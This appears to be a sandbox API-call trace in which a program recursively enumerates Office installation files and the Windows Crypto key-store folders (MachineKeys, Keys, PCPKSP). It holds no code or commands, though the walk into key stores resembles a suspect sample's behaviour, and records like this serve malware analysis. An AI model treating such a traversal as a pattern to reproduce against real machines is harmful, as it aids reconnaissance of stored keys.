	[0063.217] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", cAlternateFileName="C280EB~1.XML")) returned 1
	[0063.217] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", cAlternateFileName="C222CA~1.XML")) returned 1
	[0063.218] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml", cAlternateFileName="C27FF4~1.XML")) returned 1
	[0063.218] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", cAlternateFileName="C2E87B~1.XML")) returned 1
	[0063.218] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.projectmui.msi.16.en-us.xml", cAlternateFileName="C26005~1.XML")) returned 1
	[0063.218] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml", cAlternateFileName="C2B3EB~1.XML")) returned 1
	[0063.218] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml", cAlternateFileName="C23127~1.XML")) returned 1
	[0063.218] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", cAlternateFileName="C2BAB3~1.XML")) returned 1
	[0063.218] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.proofing.msi.16.en-us.xml", cAlternateFileName="C24618~1.XML")) returned 1
	[0063.218] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", cAlternateFileName="C2C6D1~1.XML")) returned 1
	[0063.218] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.publishermui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~4.XML")) returned 1
	[0063.219] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~3.XML")) returned 1
	[0063.219] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", cAlternateFileName="C2668D~1.XML")) returned 1
	[0063.219] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.visiomui.msi.16.en-us.xml", cAlternateFileName="C2A712~1.XML")) returned 1
	[0063.219] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~2.XML")) returned 1
	[0063.219] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.wordmui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~1.XML")) returned 1
	[0063.219] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1
	[0063.219] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf427d4ce, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", cAlternateFileName="MICROS~2.XML")) returned 1
	[0063.219] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf40d9aa3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", cAlternateFileName="MICROS~1.XML")) returned 1
	[0063.220] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoutilstat.etw.man", cAlternateFileName="MSOUTI~1.MAN")) returned 1
	[0063.220] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 1
	[0063.223] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 0
	[0063.223] FindClose (in: hFindFile=0xbaa8c8 | out: hFindFile=0xbaa8c8) returned 1
	[0063.224] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.224] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0063.224] FindClose (in: hFindFile=0xbaa4c8 | out: hFindFile=0xbaa4c8) returned 1
	[0063.225] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f20070 | out: hHeap=0x2720000) returned 1
	[0063.225] FindNextFileW (in: hFindFile=0xbaa708, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0063.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa848
	[0063.225] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.225] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1
	[0063.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa348
	[0063.497] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.497] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0063.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa9c8
	[0063.498] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.498] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.498] FindClose (in: hFindFile=0xbaa9c8 | out: hFindFile=0xbaa9c8) returned 1
	[0063.498] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.498] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
	[0063.498] FindClose (in: hFindFile=0xbaa348 | out: hFindFile=0xbaa348) returned 1
	[0063.498] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.499] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1
	[0063.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa7c8
	[0063.500] FindNextFileW (in: hFindFile=0xbaa7c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.501] FindNextFileW (in: hFindFile=0xbaa7c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.501] FindClose (in: hFindFile=0xbaa7c8 | out: hFindFile=0xbaa7c8) returned 1
	[0063.501] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.501] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1
	[0063.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa348
	[0063.501] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.502] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1
